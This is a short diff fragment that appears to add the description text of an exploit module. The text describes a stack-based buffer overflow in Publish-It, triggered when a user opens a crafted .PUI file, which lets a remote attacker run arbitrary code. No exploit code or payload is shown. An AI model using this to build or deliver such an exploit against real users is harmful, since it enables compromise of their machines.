+          This module exploits a stack based buffer overflow in Publish-It when
+          processing a specially crafted .PUI file. This vulnerability could be
+          exploited by a remote attacker to execute arbitrary code on the target
+          machine by enticing a user of Publish-It to open a malicious .PUI file.
